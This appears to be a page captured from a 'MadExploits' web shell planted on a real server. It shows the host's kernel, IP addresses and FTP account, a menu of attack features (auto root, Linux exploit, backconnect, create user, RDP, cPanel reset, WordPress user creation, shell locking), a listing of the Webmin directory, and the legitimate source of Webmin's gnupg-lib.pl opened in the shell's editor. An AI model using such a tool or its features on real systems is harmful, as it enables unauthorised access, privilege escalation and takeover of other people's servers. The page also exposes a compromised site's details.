Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
webmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
subdir
[ DIR ]
drwxr-xr-x
CHANGELOG
12.02
KB
-rw-r--r--
acme_tiny.py
11.24
KB
-rwxr-xr-x
adminupgrade
299
B
-rw-r--r--
backup_config.pl
1.97
KB
-rwxr-xr-x
bootup.cgi
1.04
KB
-rwxr-xr-x
cache.cgi
1.47
KB
-rwxr-xr-x
cgi_args.pl
159
B
-rwxr-xr-x
change_access.cgi
1.34
KB
-rwxr-xr-x
change_advanced.cgi
3
KB
-rwxr-xr-x
change_anon.cgi
712
B
-rwxr-xr-x
change_bind.cgi
4.8
KB
-rwxr-xr-x
change_ca.cgi
674
B
-rwxr-xr-x
change_debug.cgi
1.38
KB
-rwxr-xr-x
change_lang.cgi
478
B
-rwxr-xr-x
change_lock.cgi
554
B
-rwxr-xr-x
change_log.cgi
2.38
KB
-rwxr-xr-x
change_mobile.cgi
940
B
-rwxr-xr-x
change_os.cgi
1.85
KB
-rwxr-xr-x
change_osdn.cgi
1.54
KB
-rwxr-xr-x
change_overlay.cgi
1.16
KB
-rwxr-xr-x
change_proxy.cgi
1.09
KB
-rwxr-xr-x
change_referers.cgi
633
B
-rwxr-xr-x
change_session.cgi
4.77
KB
-rwxr-xr-x
change_ssl.cgi
3.03
KB
-rwxr-xr-x
change_startpage.cgi
773
B
-rwxr-xr-x
change_status.cgi
1.02
KB
-rwxr-xr-x
change_theme.cgi
1.16
KB
-rwxr-xr-x
change_twofactor.cgi
1.43
KB
-rwxr-xr-x
change_ui.cgi
1.65
KB
-rwxr-xr-x
change_web.cgi
2.47
KB
-rwxr-xr-x
clear_blocked.cgi
154
B
-rwxr-xr-x
clear_cache.cgi
205
B
-rwxr-xr-x
clone_mod.cgi
2.06
KB
-rwxr-xr-x
config
94
B
-rw-r--r--
config.info
609
B
-rw-r--r--
config.info.ar
414
B
-rw-r--r--
config.info.ca
408
B
-rw-r--r--
config.info.cs
233
B
-rw-r--r--
config.info.de
368
B
-rw-r--r--
config.info.es
229
B
-rw-r--r--
config.info.fa
301
B
-rw-r--r--
config.info.fr
577
B
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
245
B
-rw-r--r--
config.info.ja
531
B
-rw-r--r--
config.info.ko
206
B
-rw-r--r--
config.info.ms
286
B
-rw-r--r--
config.info.nl
299
B
-rw-r--r--
config.info.no
283
B
-rw-r--r--
config.info.pl
284
B
-rw-r--r--
config.info.pt_BR
299
B
-rw-r--r--
config.info.ru
491
B
-rw-r--r--
config.info.sk
132
B
-rw-r--r--
config.info.sv
202
B
-rw-r--r--
config.info.tr
155
B
-rw-r--r--
cpan_modules.pl
229
B
-rwxr-xr-x
defaultacl
17
B
-rw-r--r--
delete_cache.cgi
471
B
-rwxr-xr-x
delete_mod.cgi
2.24
KB
-rwxr-xr-x
delete_webmincron.cgi
1.51
KB
-rwxr-xr-x
download_cert.cgi
532
B
-rwxr-xr-x
edit_access.cgi
1.38
KB
-rwxr-xr-x
edit_advanced.cgi
3.87
KB
-rwxr-xr-x
edit_anon.cgi
812
B
-rwxr-xr-x
edit_assignment.cgi
1.12
KB
-rwxr-xr-x
edit_bind.cgi
2.95
KB
-rwxr-xr-x
edit_blocked.cgi
944
B
-rwxr-xr-x
edit_ca.cgi
2.82
KB
-rwxr-xr-x
edit_categories.cgi
1.69
KB
-rwxr-xr-x
edit_debug.cgi
2.04
KB
-rwxr-xr-x
edit_descs.cgi
1.49
KB
-rwxr-xr-x
edit_ipkey.cgi
1.7
KB
-rwxr-xr-x
edit_lang.cgi
1004
B
-rwxr-xr-x
edit_lock.cgi
763
B
-rwxr-xr-x
edit_log.cgi
3.04
KB
-rwxr-xr-x
edit_mobile.cgi
1.26
KB
-rwxr-xr-x
edit_mods.cgi
4.67
KB
-rwxr-xr-x
edit_os.cgi
2.72
KB
-rwxr-xr-x
edit_proxy.cgi
3.7
KB
-rwxr-xr-x
edit_referers.cgi
899
B
-rwxr-xr-x
edit_sendmail.cgi
3.48
KB
-rwxr-xr-x
edit_session.cgi
5.18
KB
-rwxr-xr-x
edit_ssl.cgi
10.55
KB
-rwxr-xr-x
edit_startpage.cgi
1.68
KB
-rwxr-xr-x
edit_status.cgi
1.13
KB
-rwxr-xr-x
edit_themes.cgi
3.72
KB
-rwxr-xr-x
edit_twofactor.cgi
1.5
KB
-rwxr-xr-x
edit_ui.cgi
2.74
KB
-rwxr-xr-x
edit_upgrade.cgi
4.26
KB
-rwxr-xr-x
edit_web.cgi
2.88
KB
-rwxr-xr-x
edit_webmincron.cgi
1.35
KB
-rwxr-xr-x
export_mod.cgi
1.23
KB
-rwxr-xr-x
feedback_files.pl
126
B
-rwxr-xr-x
fix_os.cgi
228
B
-rwxr-xr-x
gnupg-lib.pl
13.38
KB
-rwxr-xr-x
hide.cgi
326
B
-rwxr-xr-x
index.cgi
4.16
KB
-rwxr-xr-x
install_mod.cgi
4.2
KB
-rwxr-xr-x
install_theme.cgi
2.29
KB
-rwxr-xr-x
jcameron-key.asc
1.29
KB
-rw-r--r--
letsencrypt-cleanup.pl
2
KB
-rwxr-xr-x
letsencrypt-dns.pl
2.46
KB
-rwxr-xr-x
letsencrypt-lib.pl
13.75
KB
-rwxr-xr-x
letsencrypt.cgi
4.64
KB
-rwxr-xr-x
log_parser.pl
1.23
KB
-rwxr-xr-x
module.info
195
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
142
B
-rw-r--r--
module.info.ar
185
B
-rw-r--r--
module.info.ar.auto
22
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
208
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
218
B
-rw-r--r--
module.info.ca
134
B
-rw-r--r--
module.info.ca.auto
15
B
-rw-r--r--
module.info.cs
28
B
-rw-r--r--
module.info.cs.auto
128
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
142
B
-rw-r--r--
module.info.de
126
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
262
B
-rw-r--r--
module.info.es
33
B
-rw-r--r--
module.info.es.auto
109
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
158
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
202
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
141
B
-rw-r--r--
module.info.fr
32
B
-rw-r--r--
module.info.fr.auto
129
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
195
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
149
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.auto
148
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.auto
107
B
-rw-r--r--
module.info.ja
180
B
-rw-r--r--
module.info.ko
22
B
-rw-r--r--
module.info.ko.auto
129
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
180
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
157
B
-rw-r--r--
module.info.ms
119
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
144
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.auto
117
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.auto
117
B
-rw-r--r--
module.info.pl
155
B
-rw-r--r--
module.info.pl.auto
15
B
-rw-r--r--
module.info.pt
33
B
-rw-r--r--
module.info.pt.auto
113
B
-rw-r--r--
module.info.pt_BR
36
B
-rw-r--r--
module.info.pt_BR.auto
119
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
147
B
-rw-r--r--
module.info.ru
34
B
-rw-r--r--
module.info.ru.auto
172
B
-rw-r--r--
module.info.sk
30
B
-rw-r--r--
module.info.sk.auto
132
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
147
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.auto
114
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
258
B
-rw-r--r--
module.info.tr
33
B
-rw-r--r--
module.info.tr.auto
128
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
215
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
209
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
177
B
-rw-r--r--
module.info.zh
22
B
-rw-r--r--
module.info.zh_TW
25
B
-rw-r--r--
module.info.zh_TW.auto
115
B
-rw-r--r--
newcsr.cgi
800
B
-rwxr-xr-x
newkey.cgi
879
B
-rwxr-xr-x
postinstall.pl
2.01
KB
-rwxr-xr-x
refresh_modules.cgi
664
B
-rwxr-xr-x
restart.cgi
87
B
-rwxr-xr-x
save_assignment.cgi
485
B
-rwxr-xr-x
save_categories.cgi
946
B
-rwxr-xr-x
save_descs.cgi
1006
B
-rwxr-xr-x
save_ipkey.cgi
1.31
KB
-rwxr-xr-x
save_newmod.cgi
278
B
-rwxr-xr-x
save_sendmail.cgi
2.08
KB
-rwxr-xr-x
save_webmincron.cgi
1016
B
-rwxr-xr-x
savekey.cgi
2.8
KB
-rwxr-xr-x
setup_ca.cgi
1.52
KB
-rwxr-xr-x
standard_chooser.cgi
1.68
KB
-rwxr-xr-x
stop_ca.cgi
1.03
KB
-rwxr-xr-x
syslog_logs.pl
633
B
-rwxr-xr-x
system_info.pl
5.02
KB
-rw-r--r--
test_sendmail.cgi
784
B
-rwxr-xr-x
third_chooser.cgi
1.55
KB
-rwxr-xr-x
twofactor-funcs-lib.pl
8.81
KB
-rw-r--r--
uninstall.pl
236
B
-rwxr-xr-x
update.cgi
2.86
KB
-rwxr-xr-x
upgrade.cgi
16.08
KB
-rwxr-xr-x
view_webmincron.cgi
1.66
KB
-rwxr-xr-x
webmin-lib.pl
68.83
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gnupg-lib.pl
# gnupg-lib.pl # Functions for managing gnupg keys, signing, encrypting and so on BEGIN { push(@INC, ".."); }; use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; use WebminCore; our ($module_name, %config, $user_module_config_directory, %text); if (!$module_name) { # Only do this if we are the primary library for the usermin gnupg mod &init_config(); &switch_to_remote_user(); &create_user_config_dirs(); } &foreign_require("proc", "proc-lib.pl"); our $gpgpath = $config{'gpg'} || "gpg"; # list_keys() # Returns an array of all GnuPG keys sub list_keys { my (@rv, %kmap); &clean_language(); open(GPG, "$gpgpath --list-keys 2>/dev/null |"); while(<GPG>) { if (/^pub\s+([a-z0-9]+)(\s+)([\d]{4}-[\d]{2}-[\d]{2})/ || /^pub\s+(\S+)\/(\S+)\s+(\S+)\s+(.*)\s+<(\S+)>/ || /^pub\s+(\S+)\/(\S+)\s+(\S+)\s+(.*)/) { my $k = { 'size' => $1, 'key' => $2, 'date' => $3, 'name' => $4 ? [ $4 ] : [ ], 'email' => $5 ? [ $5 ] : $4 ? [ "" ] : [ ], 'index' => scalar(@rv) }; if ($k->{'name'}->[0] && $k->{'name'}->[0] =~ /\[(expires|expired):\s+(\S+)\]/) { # Expiry date, the actual name $k->{'expires'} = $2; $k->{'expired'} = 1 if ($1 eq 'expired'); shift(@{$k->{'name'}}); } $kmap{$k->{'key'}} = $k; while(1) { $_ = <GPG>; last if ($_ !~ /\S/); if (/^sub\s+(\S+)\/(\S+)\s+/) { push(@{$k->{'key2'}}, $2); } elsif (/^uid\s+\[[^\]]+\]\s+(.*)\s+<(\S+)>/ || /^uid\s+(.*)\s+<(\S+)>/ || /^uid\s+(.*)/) { push(@{$k->{'name'}}, $1); push(@{$k->{'email'}}, $2); } elsif (/^\s+([A-F0-9]{0,40})/) { $k->{'key'} = $1; $kmap{$1} = $k; } } push(@rv, $k); } } close(GPG); open(GPG, "$gpgpath --list-secret-keys 2>/dev/null |"); while(<GPG>) { if ((/^sec\s+(\S+)\/(\S+)\s+(\S+)\s+(.*)/ || /^(\s+)([A-F0-9]{0,40})/) && $kmap{$2}) { $kmap{$2}->{'secret'}++; } } close(GPG); &reset_environment(); return @rv; } # list_keys_sorted() # Returns a list of all keys, sorted by name sub list_keys_sorted { return sort { lc($a->{'name'}->[0]) cmp lc($b->{'name'}->[0]) } &list_keys(); } # list_secret_keys() # List list_keys, but only returns secret ones sub list_secret_keys { return grep { $_->{'secret'} } &list_keys(); } # key_fingerprint(&key) sub key_fingerprint { my $fp; local $_; &clean_language(); open(GPG, "$gpgpath --fingerprint ".quotemeta($_[0]->{'name'}->[0])." 2>/dev/null |"); while(<GPG>) { if (/([0-9A-F]{4}\s+[0-9A-F]{4}\s+[0-9A-F]{4}\s+[0-9A-F]{4}\s+[0-9A-F]{4}\s+[0-9A-F]{4}\s+[0-9A-F]{4}\s+[0-9A-F]{4}\s+[0-9A-F]{4}\s+[0-9A-F]{4})/i) { $fp = $1; } } close(GPG); &reset_environment(); return $fp; } # get_passphrase(&key) # Returns the passphrase for a key, or undef if we don't have one sub get_passphrase { my ($key) = @_; open(PASS, "<$user_module_config_directory/pass.$key->{'key'}") || open(PASS, "<$user_module_config_directory/pass") || return undef; my $pass = <PASS>; close(PASS); chop($pass); return $pass; } sub get_passphrase_file { my ($key) = @_; return "$user_module_config_directory/pass.$key->{'key'}"; } # put_passphrase(pass, &key) sub put_passphrase { my $fh; &open_tempfile($fh, ">$user_module_config_directory/pass.$_[1]->{'key'}"); &print_tempfile($fh, $_[0],"\n"); &close_tempfile($fh); chmod(0700, "$user_module_config_directory/pass.$_[1]->{'key'}"); } # encrypt_data(data, &result, &key|&keys, ascii) # Encrypts some data with the given public key and returns the result, and # returns an error message or undef on failure sub encrypt_data { my ($data, $out, $keys, $ascii) = @_; my $srcfile = &transname(); my @keys = ref($keys) eq 'ARRAY' ? @$keys : ( $keys ); my $rcpt = join(" ", map { "--recipient ".quotemeta($_->{'name'}->[0]) } @keys); &write_file_contents($srcfile, $data); my $dstfile = &transname(); my $asciiflag = $ascii ? "--armor" : ""; my $comp = $config{'compress'} eq '' ? "" : " --compress-algo ".quotemeta($config{'compress'}); &clean_language(); my $cmd = "$gpgpath --output ".quotemeta($dstfile). " $rcpt $asciiflag $comp --encrypt ".quotemeta($srcfile); my ($fh, $fpid) = &proc::pty_process_exec($cmd); while(1) { my $rv = &wait_for($fh, "anyway"); if ($rv == 0) { syswrite($fh, "yes\n", length("yes\n")); } elsif ($rv < 0) { last; } } close($fh); &reset_environment(); unlink($srcfile); my $dst = &read_file_contents($dstfile); unlink($dstfile); if ($dst) { $$out = $dst; return undef; } else { return $wait_for_input; } } # decrypt_data(data, &result, [&key]) # Decrypts some data encrypted for the current GnuPG user, and puts the results # into &result. Returns an error message or undef on success. sub decrypt_data { my ($data, $out, $key) = @_; my $srcfile = &transname(); &write_file_contents($srcfile, $data); my $dstfile = &transname(); &clean_language(); my $pflag = ""; my $pass; if (!$key) { # No key was given, but if we have only one try it my @keys = &list_secret_keys(); if (@keys == 1) { $key = $keys[0]; } } if ($key) { # Key was given, use it's passphrase $pass = &get_passphrase($key); return $text{'gnupg_esignpass'} if (!$key); $pflag = "--batch --passphrase-file ". quotemeta(&get_passphrase_file($key)); } my $cmd = "$gpgpath $pflag --output ".quotemeta($dstfile). " --decrypt ".quotemeta($srcfile); my ($fh, $fpid) = &proc::pty_process_exec($cmd); my ($error, $seen_pass, $keyid); $wait_for_debug = 1; while(1) { my $rv = &wait_for($fh, "passphrase:", "key,\\s+ID\\s+(\\S+),", "failed.*\\n", "error.*\\n", "invalid.*\\n", "signal caught.*\\n"); if ($rv == 0) { # Only needed if caller didn't supply a key with passphrase last if ($seen_pass++); sleep(1); syswrite($fh, "$pass\n", length("$pass\n")); } elsif ($rv == 1) { # Only needed if caller didn't supply a key $keyid = $matches[1]; my $rkey; ($rkey) = grep { &indexof($matches[1], @{$_->{'key2'}}) >= 0 || $_->{'key'} eq $matches[1] } &list_secret_keys(); if ($rkey && $key) { # Does discovered key match? return &text('gnupg_ecryptkey2', "<tt>$keyid</tt>") if ($rkey->{'key'} ne $key->{'key'}); } elsif ($rkey && !$key) { # Discovered the key to use $pass = &get_passphrase($rkey); $key = $rkey; } } elsif ($rv > 1) { $error++; last; } elsif ($rv < 0) { last; } } close($fh); &reset_environment(); unlink($srcfile); my $dst = &read_file_contents($dstfile); unlink($dstfile); if (!$keyid && !$key) { return $text{'gnupg_ecryptid'}; } elsif (!$key) { return &text('gnupg_ecryptkey', "<tt>$keyid</tt>"); } elsif (!defined($pass)) { return &text('gnupg_ecryptpass', $key->{'name'}->[0]).". ". &text('gnupg_canset', "/gnupg/edit_key.cgi?key=$key->{'key'}")."."; } elsif ($error || $seen_pass > 1) { return "<pre>".&html_escape($wait_for_input)."</pre>"; } else { $$out = $dst; return undef; } } # sign_data(data, \&result, &key, mode) # Signs the given data and returns the result. Mode 0 = binary signature # mode 1 = ascii signature at end, mode 2 = ascii signature only sub sign_data { my ($data, $out, $key, $mode) = @_; my $srcfile = &transname(); &write_file_contents($srcfile, $data); my $dstfile = &transname(); my $pass = &get_passphrase($key); if (!defined($pass)) { return $text{'gnupg_esignpass'}.". ". &text('gnupg_canset', "/gnupg/edit_key.cgi?key=$key->{'key'}")."."; } my $pflag = "--batch --passphrase-file ".quotemeta(&get_passphrase_file($key)); my $cmd; if ($mode == 0) { $cmd = "$gpgpath $pflag --output ".quotemeta($dstfile)." --default-key $key->{'key'} --sign ".quotemeta($srcfile); } elsif ($mode == 1) { $cmd = "$gpgpath $pflag --output ".quotemeta($dstfile)." --default-key $key->{'key'} --clearsign ".quotemeta($srcfile); } elsif ($mode == 2) { $cmd = "$gpgpath $pflag --armor --output ".quotemeta($dstfile)." --default-key $key->{'key'} --detach-sig ".quotemeta($srcfile); } &clean_language(); my ($fh, $fpid) = &proc::pty_process_exec($cmd); &reset_environment(); my ($error, $seen_pass); while(1) { my $rv = &wait_for($fh, "passphrase:", "failed", "error"); if ($rv == 0) { # This should never happen since we supply the passphrase # on the command line already last if ($seen_pass++); sleep(1); syswrite($fh, "$pass\n", length("$pass\n")); } elsif ($rv > 0) { $error++; last; } elsif ($rv < 0) { last; } } close($fh); unlink($srcfile); my $dst = &read_file_contents($dstfile); unlink($dstfile); if ($error || $seen_pass > 1) { return "<pre>".&html_escape($wait_for_input)."</pre>"; } else { $$out = $dst; return undef; } } # verify_data(data, [signature]) # Verifies the signature on some data, and returns a status code and a message # code 0 = verified successfully, message contains signer # code 1 = verified successfully but no trust chain, message contains signer # code 2 = failed to verify, message contains signer # code 3 = do not have signers public key, message contains ID # code 4 = verification totally failed, message contains reason sub verify_data { my ($data, $sig) = @_; my $datafile = &transname(); &write_file_contents($datafile, $data); my $cmd; my $sigfile; if (!$sig) { $cmd = "$gpgpath --verify ".quotemeta($datafile); } else { $sigfile = &transname(); &write_file_contents($sigfile, $sig); $cmd = "$gpgpath --verify ".quotemeta($sigfile)." ".quotemeta($datafile); } #local ($fh, $fpid) = &proc::pty_process_exec($cmd); #&wait_for($fh); #close($fh); #local $out = $wait_for_input; &clean_language(); my $out = &backquote_command("$cmd 2>&1 </dev/null") || ""; &reset_environment(); unlink($datafile); unlink($sigfile) if ($sigfile); if ($out =~ /BAD signature from "(.*)"/i) { return (2, $1); } elsif ($out =~ /key ID (\S+).*\n.*not found/i) { return (3, $1); } elsif ($out =~ /Good signature from "(.*)"/i) { my $signer = $1; if ($out =~ /warning/) { return (1, $signer); } else { return (0, $signer); } } else { return (4, $out); } } # get_trust_level(&key) # Returns the trust level of a key sub get_trust_level { my ($key) = @_; &clean_language(); my $cmd = "$gpgpath --edit-key ".quotemeta($key->{'name'}->[0]); my ($fh, $fpid) = &proc::pty_process_exec($cmd); my $rv = &wait_for($fh, "trust:\\s+(.)", "command>"); my $tr; if ($rv == 0) { $tr = $matches[1] eq "q" ? 1 : $matches[1] eq "n" ? 2 : $matches[1] eq "m" ? 3 : $matches[1] eq "f" ? 4 : 0; } else { $tr = -1; } syswrite($fh, "quit\n", length("quit\n")); close($fh); &reset_environment(); return $tr; } # delete_key(&key) # Delete one public or secret key sub delete_key { my ($key) = @_; if ($key->{'secret'}) { &clean_language(); my $cmd = "$gpgpath --delete-secret-key ". quotemeta($key->{'name'}->[0]); my ($fh, $fpid) = &proc::pty_process_exec($cmd); &wait_for($fh, "\\?"); syswrite($fh, "y\n"); &wait_for($fh, "\\?"); syswrite($fh, "y\n"); sleep(1); close($fh); &reset_environment(); } &clean_language(); my $cmd = "$gpgpath --delete-key ".quotemeta($key->{'name'}->[0]); my ($fh, $fpid) = &proc::pty_process_exec($cmd); &wait_for($fh, "\\?"); syswrite($fh, "y\n"); sleep(1); close($fh); &reset_environment(); } # default_email_address() # Returns the current user's email address, or undef if not possible sub default_email_address { if (&foreign_check("mailbox")) { &foreign_require("mailbox", "mailbox-lib.pl"); my ($fromaddr) = &mailbox::split_addresses( &mailbox::get_preferred_from_address()); if ($fromaddr) { return $fromaddr->[0]; } } return undef; } # fetch_gpg_key(id) # Imports a key by ID from the configured keyserver. Returns 0 on success, # 1 on failure, 2 if there was no change, 3 if the import appeared to succeed # but the key isn't visible. sub fetch_gpg_key { my ($id) = @_; my $out = &backquote_command( "$gpgpath --keyserver ".quotemeta($config{'keyserver'}). " --recv-key ".quotemeta($id)." 2>&1 </dev/null") || ""; my @keys = &list_keys(); my ($key) = grep { lc($_->{'key'}) eq lc($id) } @keys; if ($?) { return wantarray ? (1, $out) : 1; } elsif ($out =~ /not\s+changed/) { return wantarray ? (2, $key) : 2; } else { if ($key) { return (0, $key); } else { return (3, $out); } } } # search_gpg_keys(word) # Searches the configured keyserver for GPG keys matching some name or email # address, and returns them as a list of hash refs sub search_gpg_keys { my ($word) = @_; my $cmd = "$gpgpath --keyserver ".quotemeta($config{'keyserver'}). " --search-keys ".quotemeta($word); my ($fh, $fpid) = &proc::pty_process_exec($cmd); my @rv; while(1) { $wait_for_input = undef; my $rv = &wait_for($fh, "N.ext, or Q.uit"); if ($rv < 0) { last; } my $count = 0; my $key; foreach my $l (split(/\r?\n/, $wait_for_input)) { if ($l =~ /^\(\d+\)\s+(\d+)\s+bit\s+(\S+)\s+key\s+(\S+)/) { # Key with no name .. skip! } elsif ($l =~ /^\(\d+\)\s+(\S.*)\s+<(\S+)>/ || $l =~ /^\(\d+\)\s+(\S.*)/) { # First name and email for a key $key = { 'name' => [ $1 ], 'email' => [ $2 ] }; $key->{'name'} =~ s/\s+$//; push(@rv, $key); $count++; } elsif ($l =~ /^\s+(\S.*)\s+<(\S+)>/ && $key) { # Additional name and email push(@{$key->{'name'}}, $1); push(@{$key->{'email'}}, $2); } elsif ($l =~ /\s+(\d+)\s+bit\s+(\S+)\s+key\s+(\S+),\s+created:\s+(\S+)/ && $key) { # Size and ID $key->{'size'} = $1; $key->{'key'} = $3; $key->{'date'} = $4; if ($l =~ /revoked/) { $key->{'revoked'} = 1; } $key = undef; } } if ($count) { &sysprint($fh, "N\n"); } else { last; } } close($fh); return @rv; } # returns current version of gpg command sub get_gpg_version { my ($gpg) = @_; $gpg = "gpg" if (!$gpg); $gpg = quotemeta($gpg); $gpg = `$gpg --version`; $gpg =~ /(\*|\d+(\.\d+){0,2})/; return $1; } 1;
Close